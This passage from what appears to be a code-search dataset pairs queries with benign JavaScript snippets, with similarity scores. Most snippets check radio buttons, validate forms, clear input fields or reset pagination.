$('[type=\"radio\"][id=\"IsHeadOffice\"]:checked').val() == \"0\"\n //$('input[name=IsHeadOffice][value=\"0\"]').prop('checked', true);\n //$('input[name=IsAllowedCL][value=\"0\"]').attr('checked', true);\n //$('input[name=IsAllowedCL]').attr('disabled', false);\n // $('input[name=AllowCreditLimitOfOffice][value=\"1\"]').prop('checked', true);\n //$('input[name=AllowCreditLimitOnAgent][value=\"1\"]').prop('checked', true);\n\n }\n\n}", "function showApproveOrCompleteButton(){\n\tvar reviewStatus=$(\"input[name='review']:checked\").val();\n\tif(reviewStatus == \"completeValue\"){\n\t\t$('#approveORcomplete').show();\n\t}else if(reviewStatus == \"needToWorkValue\"){\n\t\t$('#approveORcomplete').hide();\n\t}\n}", "function isSelect(nom_elem)\n{\n\tvar _no = nom_elem._form ;\n\t\n\tvar inputR = document.getElementsByName(nom_elem.name);\n\tvar is_check = false ;\t\n\tfor(var no=0;no<inputR.length;no++){\n\t\tif (inputR[no]._form == _no)\n\t\t\tis_check = is_check || inputR[no].checked ;\n\t}\t\n\n\treturn is_check;\n}", "function confirmSelect(){\n if ($(\"#rock\").is(\":checked\")) {\n $('#submit_button').prop('disabled', false);\n }else{\n $('#submit_button').prop('disabled', true);\n }\n}", "function validateRadio() {\n\t\tif ($('input[type=radio][name=radio]:checked').length == 0) {\n\t\t\t$('#alert_gender').text('Please select your gender');\n\t\t\tsetTimeout(function () {\n\t\t\t\t$('#alert_gender').text('');\n\t\t\t}, 7000);\n\t\t\treturn false;\n\t\t}\n\t\treturn true;\n\t}", "function setRadioButtonR(){\t\r\n\tif (polygon) {\r\n\t\tconsole.log(\"a\")\r\n\t\tdocument.getElementById('r1').checked = \"checked\";\r\n\t\t//document.getElementById('r2').checked = \"unchecked\";\r\n\t}else{\r\n\t\tconsole.log(\"b\")\r\n\t\tdocument.getElementById('r2').checked = \"checked\";\r\n\t\t//document.getElementById('r1').checked = \"unchecked\";\r\n\t}\r\n}", "function radioButtonFieldIsComplete(objRadioButtonGroup) \n{\n\n\t// Loop from zero to the one minus the number of radio button selections\n\tfor (var counter = 0; counter < objRadioButtonGroup.length; counter++) \n\t{\n\t\t// If a radio button has been selected it will return true\n\t\tif (objRadioButtonGroup[counter].checked) \n\t\t{\n\t\t\treturn true;\n\t\t}\n\t}\n\n\t// if we made it this far, then none were checked\n\treturn false;\n}", "async individualTraderRadio() {\n return this.browser.wait(until.elementLocated(By.id(\"chosen-holder-individual-input\")), 5 * 20000);\n }", "function checkRadio() {\n const divParent = locationList[0].parentNode\n let hasChecked = false;\n for (let i = 0; i < locationList.length; i++) {\n if (locationList[i].checked === true) { // si une des cases est cochée\n hasChecked = true;\n } \n } \n if (hasChecked === false) {\n divParent.setAttribute('data-error-visible', 'true')\n divParent.setAttribute('data-error', 'Vous devez choisir une ville')\n } else {\n divParent.setAttribute('data-error-visible', 'false')\n }\n return hasChecked;\n}", "function isSingleSel(name) {\r\n\tvar all = $n(name);\r\n\tvar returnValue = true;\r\n\tvar flag = 0;\r\n\tfor (var i = 0; i < all.length; i++) {\r\n\t\tif(all[i].checked){\r\n\t\t flag++;\r\n\t\t}\r\n\t}\r\n\tif(flag==0 || flag>1){\r\n\t returnValue = false;\r\n\t}\r\n\treturn returnValue ;\r\n}", "function isSpecificTeamSelected(){\n\t\n\tvar selectedTeams = getSelectedTeams();\n\t\n\tif (selectedTeams.length > 1){\n\t\treturn false;\n\t}\n\t\n\tvar selectedTeam = selectedTeams[0].value;\n\t\n\tif ('all' == selectedTeam){\n\t\treturn false;\n\t}\n\t\n\treturn true;\n}", "function checkCustom() {\n\n if ($('.tripSelection:checked').val() == 'one-way') {\n\n if ($('input[name=\"one_way_time\"]').val() == '') {\n $('.one_way_trip').html('Please select time');\n $('.one_way_trip').removeAttr('style');\n return false;\n } else {\n $('.one_way_trip').html('');\n return true;\n }\n } else {\n var errorCount = 0;\n if ($('input[name=\"one_way_time\"]').val() == '') {\n $('.one_way_trip').removeAttr('style');\n $('.one_way_trip').html('Please select time');\n\n errorCount++;\n } else {\n $('.one_way_trip').html('');\n errorCount = 0;\n }\n\n if ($('input[name=\"round_way_time\"]').val() == '') {\n $('.round_way_trip').removeAttr('style');\n $('.round_way_trip').html('Please select time');\n\n errorCount++;\n } else {\n $('.round_way_trip').html('');\n errorCount = 0;\n }\n\n if (errorCount == 0) {\n return true;\n } else {\n return false;\n }\n }\n }", "function YesNoShow(yesNoRadio, selector) {\n\t// call this onclick (not onchange!)\n\tif (yesNoRadio.value.toLowerCase() == 'true') {\n\t\t$(selector).show()\n\t} else {\n\t\t$(selector).hide()\n\t}\n}", "function handleFastRestaurantChoice() {\n /** @type {HTMLInputElement} Input field. */\n const fastDishInput = document.getElementById(\"fast-input\").value;\n const fastfoodMenu = [\"cheeseburger\", \"doubleburger\", \"veganburger\"]\n\n if(fastDishInput == fastfoodMenu[0]) {\n restaurantClosing();\n } else if (fastDishInput == fastfoodMenu[1]) {\n restaurantClosing();\n } else if (fastDishInput == fastfoodMenu[2]) {\n restaurantClosing();\n } else {\n fastFoodRestaurantScene();\n }\n}", "function isReview() {\n var elm = document.getElementById(\"NCATSreviewid\");\n if (elm) return true;\n}", "function vreme_isk_uk(){\n\tvar opcije = document.getElementsByName(\"vreme_radio\")\n\tif(opcije[0].checked == true){\n\t\tdocument.getElementById(\"vrem_ogr_input\").disabled = false\n\t\treturn true\n\t} else {\n\t\tdocument.getElementById(\"vrem_ogr_input\").disabled = true\n\t\treturn false\n\t}\n}", "function onSelectRecurringType(){\n var type = getSelectedRadioButton(\"type_option\");\n if (type == \"none\") {\n enabledDay(false);\n enabledWeek(false);\n enabledMonth(false);\n enabledYear(false);\n enableField([\"total\"],false);\n abRecurringPatternCtrl.showDateStartByType(false);\n abRecurringPatternCtrl.showDateEndByType(false);\n }\n if (type == \"once\") {\n enabledDay(false);\n enabledWeek(false);\n enabledMonth(false);\n enabledYear(false);\n enableField([\"total\"],false);\n abRecurringPatternCtrl.showDateStartByType(true);\n abRecurringPatternCtrl.showDateEndByType(false);\n }\n if (type == \"day\") {\n enabledDay(true);\n enabledWeek(false);\n enabledMonth(false);\n enabledYear(false);\n enableField([\"total\"],true);\n }\n if (type == \"week\") {\n enabledDay(false);\n enabledWeek(true);\n enabledMonth(false);\n enabledYear(false);\n enableField([\"total\"],true);\n }\n if (type == \"month\") {\n enabledDay(false);\n enabledWeek(false);\n enabledMonth(true);\n enabledYear(false);\n enableField([\"total\"],true);\n }\n if (type == \"year\") {\n enabledDay(false);\n enabledWeek(false);\n enabledMonth(false);\n enabledYear(true);\n enableField([\"total\"],true);\n }\n if (type != \"none\" && type != \"once\" ) {\n abRecurringPatternCtrl.showDateStartByType(true);\n abRecurringPatternCtrl.showDateEndByType(true);\n }\n \n //add note\n addNote();\n \n //display area by type\n displayAreaBytype(type);\n}", "function html5check () {\n\treturn ( $( \"#radiocontrols\" ).length );\n}", "function submitDecision(){\r\n\tif(document.getElementById(\"optionsRadios1\").checked) {\r\n\t\taddDiagWithoutEdits();\r\n\t} else if(document.getElementById(\"optionsRadios2\").checked){\r\n\t\taddEdits();\r\n\t} else if(document.getElementById(\"optionsRadios3\").checked){\r\n\t\tdisableStatus();\r\n\t}\r\n}", "isSelected() {\n return __awaiter(this, void 0, void 0, function* () {\n const el = (yield this.element());\n if (!el)\n return false;\n if (this._args.isAndroid) {\n try {\n yield el.getAttribute(\"selected\");\n }\n catch (error) {\n console.error(\"Check if this is the correct element!\");\n }\n }\n try {\n return yield el.isSelected();\n }\n catch (ex) {\n console.warn(\"'selected' attr is not reachable on this element!\");\n }\n console.warn(\"Trying use 'value' attr!\");\n try {\n const attrValue = yield el.getAttribute(\"value\");\n return attrValue === \"1\" || attrValue === \"true\" || attrValue === true;\n }\n catch (error) {\n return false;\n }\n });\n }", "function radioClicked() {\n\tif (document.getElementById('r2').checked) {\n\t\tdocument.getElementById(\"spouse_name\").required = true;\n\t\tdocument.getElementById('spouse_details').style.visibility = 'visible';\n\t} else {\n\t\tdocument.getElementById('spouse_details').style.visibility = 'hidden';\n\t\tdocument.getElementById(\"spouse_name\").required = false;\n\t}\n}", "function selectorCheck()\n{\n if(this.required)\n {\n var isAvailable = selectorElementAvailable(this.fieldName);\n this.custom_alert = (typeof this.custom_alert != 'undefined') ? this.custom_alert : '';\n this.ref_label = (typeof this.ref_label != 'undefined') ? this.ref_label\n : JS_RESOURCES.getFormattedString('field_name.substitute', [this.element.name]);\n if ( !isAvailable )\n {\n alert(this.custom_alert ? this.custom_alert\n : JS_RESOURCES.getFormattedString('validation.required', [this.ref_label]));\n return false;\n }\n }\n return true;\n}", "static with(options = {}) {\n return new HarnessPredicate(MatLegacyRadioButtonHarness, options)\n .addOption('label', options.label, (harness, label) => HarnessPredicate.stringMatches(harness.getLabelText(), label))\n .addOption('name', options.name, async (harness, name) => (await harness.getName()) === name)\n .addOption('checked', options.checked, async (harness, checked) => (await harness.isChecked()) == checked);\n }", "function openSignUpBoolean(){\n\tvar radioBtn = document.getElementById(\"openSignUp\").checked;\n\tif(radioBtn === true){\n\t\tdocument.getElementById('hiddenSignUpIs').className = \"\";\n\t\tdocument.getElementById('hiddenSignUpIsNot').className = \"\";\n\t\tdocument.getElementById('hiddenSignUpIsEqual').className = \"\";\n\t\tdocument.getElementById('signUpSearchInput').className = \"\";\n\t}\n\telse{\n\t\tdocument.getElementById('hiddenSignUpIs').className = \"hiddenSignUpBoolean\";\n\t\tdocument.getElementById('hiddenSignUpIsNot').className = \"hiddenSignUpBoolean\";\n\t\tdocument.getElementById('hiddenSignUpIsEqual').className = \"hiddenSignUpBoolean\";\n\t\tdocument.getElementById('signUpSearchInput').className = \"hiddenSignUpBoolean\";\n\t}\t\n}", "isSelectable() {\n return this.selectable === true\n }", "function isRadioChecked() {\n // get list of radio buttons with specified name\n var radios = document.querySelectorAll('input[type=\"radio\"]');\n // loop through list of radio buttons\n for (var i = 0, len = radios.length; i < len; i++) {\n if (radios[i].checked) {\n // radio checked?\n // if so, hold its value in val\n return true; // and break out of for loop\n }\n }\n return false; // return value of checked radio or undefined if none checked\n}", "isRadioing(robot) {\n return robot.signal >= 0;\n }", "isRadioing(robot) {\n return robot.signal >= 0;\n }", "function isStatusSelected(value, device, options) {\t\t\n\t\tif(device['overridden'] == 'false') {\t\t\t\n\t\t\tif(value == 'overridden') {return 'selected';}\n\t\t} else {\n\t\t\tif(value == device['state']) {return 'selected';}\n\t\t}\t\n\t}", "function is_selected(selectedData, kind) {\n\t\tvar testpaper_invalid = document.getElementById(\"testpaper_invalid\");\n\t\tvar group_invalid = document.getElementById(\"group_invalid\");\n\n\t\tif (selectedData.value === '') {\n\t\t\tif (kind === 'Group') {\n\t\t\t\tvalidGroup = false;\n\t\t\t\tgroup_invalid.innerHTML = \"<span style='color: red; font-size: 14px'>Required</span>\";\n\t\t\t} else {\n\t\t\t\tvalidTestpaper = false;\n\t\t\t\ttestpaper_invalid.innerHTML = \"<span style='color: red; font-size: 14px'>Required</span>\";\n\t\t\t}\n\t\t} else {\n\t\t\tif (kind === 'group') {\n\t\t\t\tvalidGroup = true;\n\t\t\t\tgroup_invalid.innerHTML = '';\n\t\t\t} else {\n\t\t\t\tvalidTestpaper = true;\n\t\t\t\ttestpaper_invalid.innerHTML = '';\n\t\t\t}\n\t\t}\n\t\tdata_valid();\n\t}", "selectedSyncDataRadio_() {\n return this.osSyncPrefs.syncAllOsTypes ? RadioButtonNames.SYNC_EVERYTHING :\n RadioButtonNames.CUSTOMIZE_SYNC;\n }", "function checkIfAnswer(ev){\n\t\tif(document.getElementById(currentChoice).textContent == currentSet.correctChoice)\n\t\t\tallowDrop(event);\n}" ]
[ "0.6002308", "0.58931744", "0.5828521", "0.5742646", "0.56536764", "0.56038046", "0.55680037", "0.55601436", "0.55237365", "0.55095124", "0.5492015", "0.54885876", "0.54846436", "0.5467631", "0.54601717", "0.54254055", "0.53941625", "0.5364086", "0.5344296", "0.5340759", "0.5306458", "0.5278962", "0.52507794", "0.524063", "0.5240319", "0.5236493", "0.52318114", "0.52180547", "0.51617384", "0.5155569", "0.51537", "0.5148157", "0.51467365", "0.51450294", "0.51446563", "0.51435757", "0.51362187", "0.5134863", "0.512515", "0.5119315", "0.51153785", "0.5114272", "0.51090145", "0.51018375", "0.5090542", "0.5085319", "0.50836194", "0.5078919", "0.50757796", "0.50755554", "0.5072307", "0.5072307", "0.5066399", "0.5065347", "0.5062617", "0.5053324", "0.5050215", "0.50478494", "0.50461155", "0.504215", "0.50408036", "0.50405586", "0.5027881", "0.5025719", "0.5021393", "0.50188255", "0.50176996", "0.5013809", "0.50136554", "0.5010944", "0.5007524", "0.50069094", "0.50051206", "0.50040644", "0.4999136", "0.4988293", "0.49823347", "0.49789938", "0.4975959", "0.49743718", "0.49737194", "0.4968118", "0.4966802", "0.49648905", "0.495713", "0.4953868", "0.49478424", "0.49360502", "0.4932974", "0.4931975", "0.49303263", "0.4927949", "0.4922865", "0.49224257", "0.49184543", "0.49184543", "0.49159762", "0.49153417", "0.49134254", "0.491205" ]
0.6645744
0
sets pageCounter to 1 and clears all fields
function resetForm() { pageCounter = 1; displayPage(pageCounter); clearFields(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function resetPageCounter() {\n self.pagesLoaded = 0;\n self.newUpdatesApplied = 0;\n self.uncountedPosts = [];\n self.countedPosts = [];\n }", "function ClearFields() { }", "function clearPage(){\n\t\t$('#home,#subject,#schedule,#course,#department,#faculty,#room,#report,#user,#settings').empty();\n\t\t$('#subject_tabular,#subject_prospectus,#prospectus').empty();\n\t\t$('#schedule_tabular,#schedule_room,#schedCourse_view,#schedProspectus_view').empty();\n\t\t$('#li_home,#li_subject,#li_schedule,#li_course,#li_department,#li_faculty,#li_room,#li_report,#li_user,#li_settings').removeClass('active');\n\t}", "function pageReset(){\n setPage({\n currPage:1,\n pageLoaded:[1]\n })\n }", "function clearPages() {\n\t\t$(articleContainer).html('');\n\t}", "function clearPage() {\n //get all new table rows which includes input fields\n let productFeilds = document.getElementsByClassName(\"productRow\");\n let i = productFeilds.length - 1; //get index of last table row element to remove\n //remove all input fields\n while(i >= 0) {\n productFeilds[i].remove();\n // productFeilds[i].parentNode.removeChild(\"productsTable\");\n i--;\n }\n count = 0;\n}", "function resetPagination() {\n currentContentsPage = 1;\n $('.membersPagination').empty();\n $('.membersPagination').addClass('hidden');\n }", "function clearPage() {\n quizQuestion.empty();\n timeRem.empty();\n quizAnswers.empty();\n }", "function clearData() {\n page = 0;\n tumblrBeforeTimestamp = 0;\n $('#tiles').empty();\n}", "static clearFields(){\n document.getElementById('title').value = '';\n document.getElementById('author').value = '';\n document.getElementById('isbn').value = '';\n }", "function clear() {\t\t\n\t\t\tresetData();\n refreshTotalCount();\n\t\t\tsetFocus();\n\t\t}", "static clearFields() {\n document.querySelector('#title').value = '';\n document.querySelector('#author').value = '';\n document.querySelector('#isbn').value = '';\n }", "static clearFields() {\n document.querySelector('#title').value = '';\n document.querySelector('#author').value = '';\n document.querySelector('#rating').value = '';\n document.querySelector('#price').value = '';\n document.querySelector('#isbn').value = '';\n }", "clearFields() {\n document.getElementById('title').value = '';\n document.getElementById('author').value = '';\n document.getElementById('isbn').value = '';\n }", "function resetPagination() {\n // reset pagination \n const paginationData = STATE.getPaginationData();\n paginationData.page = 0;\n paginationData.rowsPerPage = 10\n STATE.setPaginationData(paginationData);\n }", "clearFields() {\r\n document.getElementById('title').value = '',\r\n document.getElementById('author').value = '',\r\n document.getElementById('isbn').value = '';\r\n }", "function clearClass(){\n\t\tvar howMany = howManyPages(counter);\n\t\tfor(i = 1; i <= howMany; i++) {\n\t\t\t$('.student-item').removeClass('page' + i);\n\t\t}\n}", "clearFields(){\n document.querySelector('#title').value = '';\n document.querySelector('#author').value = '';\n document.querySelector('#reference').value = '';\n document.querySelector('#price').value = '';\n }", "clearFields() {\n document.getElementById('title').value='';\n document.getElementById('author').value='';\n document.getElementById('isbn').value='';\n }", "function resetDOM() {\n current_page = 1;\n statsDiv.innerHTML = '';\n pagination_element.innerHTML = '';\n}", "function resetData(){\n \t$('.baiDocTable tbody tr').remove();\n \tvar page = $('li.active').children().text();\n \t$('.pagination li').remove();\n \tajaxGet(page);\n }", "function clearPage() {\n\n /** reset cruds and its binding*/\n for (var i = 0; i < crudEnts.length; i++) {\n crudEnts[i].unbindAll();\n delete crudEnts[i];\n }\n crudEnts = [];\n\n\n closeAllPopup();\n\n /** delete all scripts leftovers*/\n var elem = $(\"body > script\").last().next()\n while (elem.is(\"*\")) {\n $(elem).remove();\n elem = $(\"body > script\").last().next();\n }\n\n /** hide mobile menu mask*/\n if ($(\"#menu-mask\").is(\":visible\")) {\n togglemenuElems();\n\n }\n\n\n }", "function ClearFields() {\r\n self.model.code = \"\";\r\n self.model.component = \"\";\r\n }", "clear() { \n this.state.page=0;\n this.state.filters='';\n this.state.search='';\n document.getElementById('searchInput').value = '';\n for (var key in this.state.listFilters){\n document.getElementById(key).value='';\n this.state.listFilters[key]='';\n this.state.filters='';\n } \n this.loadData(''); \n }", "static clearFields(){\n document.querySelector('#title').value ='';\n document.querySelector('#author').value ='';\n document.querySelector('#isbn').value ='';\n }", "static clearFields() {\n document.querySelector('#date').value = '';\n document.querySelector('#title').value = '';\n document.querySelector('#post').value = '';\n }", "function clearFields(){\n\t\t$scope.easyLoad = {};\n\t}", "function reset() {\n $(\"body\").empty();\n state = 0;\n pages();\n}", "function clearData() {\n inputName.value = '';\n inputState.value = '';\n page.innerHTML = '';\n poliInfo.innerHTML = '';\n multiInfo.innerHTML = '';\n billsInfo.innerHTML = '';\n donateList.innerHTML = '';\n donateBubble.innerHTML = '';\n multiCounter = 1;\n billCounter = 1;\n donateCounter = 1;\n bioguide = '';\n crp = '';\n legislatorsArr = [];\n billsArr = [];\n donationArr = [];\n }", "function page_reset()\r\n{\r\n init();\r\n}", "function ClearFields() {\r\n self.model.code = \"\";\r\n self.model.name = \"\";\r\n self.model.address = \"\";\r\n }", "function clearPagination(){\n document.getElementsByClassName(\"pagination\")[0].remove();\n}", "function clearFields() {\n movie_name.value = '';\n release_date.value = '';\n movie_banner.value = '';\n description.value = '';\n}", "clearFields(){\n document.querySelector(\"#contName\").value = '';\n document.querySelector(\"#contAge\").value = '';\n document.querySelector(\"#contLocation\").value = '';\n document.querySelector(\"#song\").value = '';\n document.querySelector(\"#link\").value = '';\n \n\n }", "function clearPages() {\n const previousPages = document.querySelectorAll(\".page__button\");\n previousPages.forEach(node => {\n node.parentNode.removeChild(node);\n })\n}", "resetPage(){\r\n document.documentElement.scrollTop = 0\r\n this.page = 1\r\n this.films = []\r\n this.searchedTitle = \"\"\r\n }", "resetPages() {\r\n\t\tmlsAreas[currentArea]['Outside Page']['time-confirmed'] = '';\r\n\t\tmlsAreas[currentArea]['Inside Page']['time-confirmed'] = '';\r\n\t\tthis.update();\r\n\t}", "function clearFields() {\n $('#input_form')[0].reset()\n }", "function clear_page(){\n jQuery('#current').empty();\n jQuery(\"#results\").empty();\n jQuery(\"#results\").slideUp();\n jQuery('#current').slideUp();\n}", "function clearFields() {\n employeeId.value = \"\";\n firstName.value = \"\";\n lastName.value = \"\";\n address.value = \"\";\n emailId.value = \"\";\n}", "static clearField(){\n document.querySelector('#title').value = '';\n document.querySelector('#author').value = '';\n document.querySelector('#isbn').value = '';\n }", "function clearStaticPagesTable() {\n $('#static-pages-rows').empty();\n}", "function clearPage() {\n\t\t//Clear the page\n\t\tlet mainArea = document.querySelector('#mainArea');\n\n\t\twhile (mainArea && mainArea.firstChild) {\n\t\t\tmainArea.removeChild(mainArea.firstChild);\n\t\t}\n\t}", "function clearFields() {\n document.getElementById('former').remove();\n}", "function resetCurrentPage() {\n $(\"#currentPage\").val(1);\n $(\"#gigDetailsForm\").submit();\n }", "function onClickClearFieldsButton()\n{\n resetContactEditElements();\n resetTableHighlights();\n}", "resetFields(){\n document.querySelector('#title').value = '';\n document.querySelector('#author').value = '';\n document.querySelector('#isbn').value = '';\n }", "function clearFields() {\n firstName.value = \"\";\n lastName.value = \"\";\n jobYears.value = \"\";\n salary.value = \"\";\n position.value = \"\";\n team.value = \"\";\n phone.value = \"\";\n email.value = \"\";\n paysTax.checked = false;\n}", "function Reset () {\n // Reset form and local storage and get page to page 1\n ui.showfirst();\n localStorage.clear();\n document.querySelector('.form').reset();\n}", "function clearFields() {\n $('#p1-fn-input').val('');\n $('#p1-ln-input').val('');\n $('#p2-fn-input').val('');\n $('#p2-ln-input').val('');\n $('#PIN').val('');\n}", "clearForm() {\n // clear any previous highlighted row\n this.clearPrevHighlight();\n // clear the inputs\n $(\"#item_id\").val(0);\n $(\"#item_title\").val(\"\");\n $(\"#item_author_first_name\").val(\"\");\n $(\"#item_author_surname\").val(\"\");\n $(\"#item_year\").val(\"\");\n // disable buttons dependent on a table row having been clicked\n $(\"#btn_search\").prop(\"disabled\", true);\n $(\"#btn_add_item\").prop(\"disabled\", true);\n $(\"#btn_update_item\").prop(\"disabled\", true);\n $(\"#btn_delete_item\").prop(\"disabled\", true);\n // disable link to author page\n $(\"#link_current_author\").removeClass(\"text-primary\");\n $(\"#link_current_author\").addClass(\"text-muted\");\n // hide editions page\n $(\"#page_editions\").hide(\"slow\");\n }", "function clearFields() {\n setName(\"\");\n setCpf_cnpj(\"\");\n setRg(\"\");\n setPhone(\"\");\n setEmail(\"\");\n setCheckedTypeAdmin(false);\n setCheckedTypeAttendance(false);\n }", "function clearForms() {\n // Reset all form's values\n $(\"form\").trigger(\"reset\");\n \n /* Remove all elements from form \n * with class question\n * in QUESTIONS PAGE */\n $(\".question\").empty();\n \n /* Remove all elements from form \n * with id qpp (questions per page)\n * in QUESTIONS PER PAGE */\n $(\"#qpp\").empty();\n \n // Disable both next and previows buttons\n disableElement(\"#nextBtn\");\n disableElement(\"#prevBtn\");\n}", "reset() {\n this.resetFields();\n this.resetStatus();\n }", "function clearForm (title, author, pages, read) {\n title.value = \"\";\n author.value = \"\";\n pages.value = \"\";\n read.checked = false;\n}", "function ClearFields()\n {\n $(':input').each(function () {\n\n if (this.type == 'text' || this.type == 'textarea' || this.type=='file'||this.type=='hidden') {\n this.value = '';\n }\n else if (this.type == 'radio' || this.type == 'checkbox') {\n this.checked = false;\n }\n else if (this.type == 'select-one' || this.type == 'select-multiple') {\n this.value = '-1';\n }\n });\n\n }", "clear() {\n this.searchModule.textSearchResults.clearResults();\n this.searchModule.clearSearchHighlight();\n this.searchModule.viewer.renderVisiblePages();\n }", "function clearPage(){\n $(\".answers\").empty();\n $(\".question-text\").empty();\n $(\".feedback\").empty();\n}", "function ResetPageNumber(evt = null){\n\tPageNumber = 1;\n}", "clearFields(){\n this.description.value = \"\"\n this.amount.value = \"\"\n this.date.value = \"\"\n }", "function pageReset() {\n if (vm.formPageEdit.$dirty) {\n PageService.pageReset();\n }\n }", "function clearPage() {\n clearDisplay();\n enteredNumber = '';\n mathObject.x = '';\n mathObject.y = '';\n mathObject.operator = '';\n}", "_page_clear(){\r\n\t\tvar core = this;\r\n\t\tcore._app_templates = [];\r\n\t}", "function resetPageNo() {\n\t\tconsole.debug('resetPageNo().........');\n\t\ttry {\n\t\t\tdojo.byId(\"page\").value = \"1\";\n\t\t} catch(err) {\n\t\t console.debug(\"Error resetPageNo(): \"+err.message);\n\t\t}\n\t}", "function clearFields() {\n name.value = \"\";\n title.value = \"\";\n hourlyRate.value = \"\";\n hours.value = \"\";\n salary.value = \"\";\n baseSalary.value = \"\";\n commissionRate.value = \"\";\n sales.value = \"\";\n commissionOption.checked = false;\n salaryOption.checked = false;\n hourlyOption.checked = false;\n hourlyEntry.style.display = \"none\";\n salaryEntry.style.display = \"none\";\n commissionEntry.style.display = \"none\";\n }", "handleAccSuccess(event){\r\n const inputFields = this.template.querySelectorAll(\r\n '.accnt');\r\n if (inputFields) {\r\n inputFields.forEach(field => {\r\n field.reset();\r\n });\r\n }\r\n }", "reset() {\n this.api.clear();\n this.api = null;\n this.fieldDescriptor.clear();\n this.resetForm();\n }", "function resetDataForDelete(){\n \tvar count = $('.sanPhamTable tbody').children().length;\n \t$('.sanPhamTable tbody tr').remove();\n \tvar page = $('li.active').children().text();\n \t$('.pagination li').remove();\n \tconsole.log(page);\n \tif(count == 1){ \t\n \t\tajaxGet(page -1 );\n \t} else {\n \t\tajaxGet(page);\n \t}\n\n }", "function resetPresidentForm(){\n consecuenciasField.setValue('');\n descripcionField.setValue('');\n }", "function clearFields () {\n\tdocument.getElementById(\"net-sales\").value = \"\";\n\tdocument.getElementById(\"20-auto-grat\").value = \"\";\n\tdocument.getElementById(\"event-auto-grat\").value = \"\";\n\tdocument.getElementById(\"charge-tip\").value = \"\";\n\tdocument.getElementById(\"liquor\").value = \"\";\n\tdocument.getElementById(\"beer\").value = \"\";\n\tdocument.getElementById(\"wine\").value = \"\";\n\tdocument.getElementById(\"food\").value = \"\";\n}", "clearFields(fields) {\n fields.forEach(function (field) {\n $(field).val('');\n });\n }", "function clearCertificateFields() {\n const treeItem = $('cert-fields');\n for (const key in treeItem.detail.children) {\n treeItem.remove(treeItem.detail.children[key]);\n delete treeItem.detail.children[key];\n }\n }", "function resetAddForm(){\r\n TelephoneField.reset();\r\n FNameField.reset();\r\n LNameField.reset();\r\n TitleField.reset();\r\n MailField.reset();\r\n AddField.reset();\r\n MobileField.reset();\r\n }", "function resetData(){ \t\n \tvar page = $('li.active').children().text();\n \t$('.sanPhamTable tbody tr').remove();\n \t$('.pagination li').remove();\n ajaxGet(page);\n }", "function reset() {\n eventTitles = [];\n eventMediaItems = {};\n pendingAjaxRequests = 0;\n // initialize the flipbook\n eventPages = {};\n var flipbook = $('#flipbook');\n var pages = flipbook.turn('pages');\n for (var i = 0; i < pages; i++) {\n flipbook.turn('removePage', i);\n }\n}", "function clearFields(){\n $(\"#idInput\").val('');\n $(\"#titleInput\").val('');\n $(\"#contentInput\").val('');\n $(\"#authorInput\").val('');\n $(\"#dateInput\").val(''); \n $(\"#authorSearch\").val('');\n $(\"#idDelete\").val('');\n}", "function resetFields() {\n fileFormRef.reset();\n setFilename(\"\");\n }", "function resetFields() {\n document.getElementById(\"content_search_form\").reset();\n document.getElementById(\"content_type\").selectedIndex = -1;\n document.getElementById(\"search_results\").innerHTML = \"\";\n}", "function clearInputFields() {\n $('input#date').val('');\n $(\"select\").each(function () {\n this.selectedIndex = 0;\n });\n }", "function clearPage() {\n\t$(\"#timerDiv\").empty();\n\t$(\"#questDiv\").empty();\n\t$(\"#answerImg\").empty();\n\t$(\"#buttonDiv\").empty();\n}", "function FlexTable_stacks_in_2565_page20_Reset(field,doclick) {\n\n\tfield.value = 'Search';\n\tFlexTable_stacks_in_2565_page20_ButtonEnable(false);\n\tif (doclick) { field.click(); }\n\n\tvar pager = document.getElementById('FlexTablePager_stacks_in_2565_page20');\n\tif (!pager) return;\n\tif (pager.style.display == 'none') {\n\t\tFlexTable_stacks_in_2565_page20_Pager(true);\n\t\tFlexTable_stacks_in_2565_page20_SetPage(1);\n\t\t}\n\n\treturn false;\n\t}", "function FlexTable_stacks_in_1796_page20_Reset(field,doclick) {\n\n\tfield.value = 'Search';\n\tFlexTable_stacks_in_1796_page20_ButtonEnable(false);\n\tif (doclick) { field.click(); }\n\n\tvar pager = document.getElementById('FlexTablePager_stacks_in_1796_page20');\n\tif (!pager) return;\n\tif (pager.style.display == 'none') {\n\t\tFlexTable_stacks_in_1796_page20_Pager(true);\n\t\tFlexTable_stacks_in_1796_page20_SetPage(1);\n\t\t}\n\n\treturn false;\n\t}", "function FlexTable_stacks_in_1741_page20_Reset(field,doclick) {\n\n\tfield.value = 'Search';\n\tFlexTable_stacks_in_1741_page20_ButtonEnable(false);\n\tif (doclick) { field.click(); }\n\n\tvar pager = document.getElementById('FlexTablePager_stacks_in_1741_page20');\n\tif (!pager) return;\n\tif (pager.style.display == 'none') {\n\t\tFlexTable_stacks_in_1741_page20_Pager(true);\n\t\tFlexTable_stacks_in_1741_page20_SetPage(1);\n\t\t}\n\n\treturn false;\n\t}", "function FlexTable_stacks_in_4928_page20_Reset(field,doclick) {\n\n\tfield.value = 'Search';\n\tFlexTable_stacks_in_4928_page20_ButtonEnable(false);\n\tif (doclick) { field.click(); }\n\n\tvar pager = document.getElementById('FlexTablePager_stacks_in_4928_page20');\n\tif (!pager) return;\n\tif (pager.style.display == 'none') {\n\t\tFlexTable_stacks_in_4928_page20_Pager(true);\n\t\tFlexTable_stacks_in_4928_page20_SetPage(1);\n\t\t}\n\n\treturn false;\n\t}", "function clear_detail_fields() {\n\t$(\"#detail_poster\").remove();\n\t$(\"#detail_title\").html(\"\");\n\t$(\"#detail_score\").html(\"\");\n\t$(\"#detail_features\").html(\"\");\n\t$(\"#detail_description\").html(\"\");\n $(\"#detail_error\").html(\"\");\n}", "function FlexTable_stacks_in_2836_page20_Reset(field,doclick) {\n\n\tfield.value = 'Search';\n\tFlexTable_stacks_in_2836_page20_ButtonEnable(false);\n\tif (doclick) { field.click(); }\n\n\tvar pager = document.getElementById('FlexTablePager_stacks_in_2836_page20');\n\tif (!pager) return;\n\tif (pager.style.display == 'none') {\n\t\tFlexTable_stacks_in_2836_page20_Pager(true);\n\t\tFlexTable_stacks_in_2836_page20_SetPage(1);\n\t\t}\n\n\treturn false;\n\t}", "function reset() {\n $(\"#input_form\")[0].reset();\n $(\"#previewTitle\").html(\"\");\n $(\"#previewDescription\").html(\"\");\n $(\"#previewTags\").html(\"\");\n $(\"#previewBootstrap\").html(\"\");\n $(\"#previewCode\").html(\"\");\n $(\"#UID\").val(maxDBSize);\n}", "function FlexTable_stacks_in_3578_page20_Reset(field,doclick) {\n\n\tfield.value = 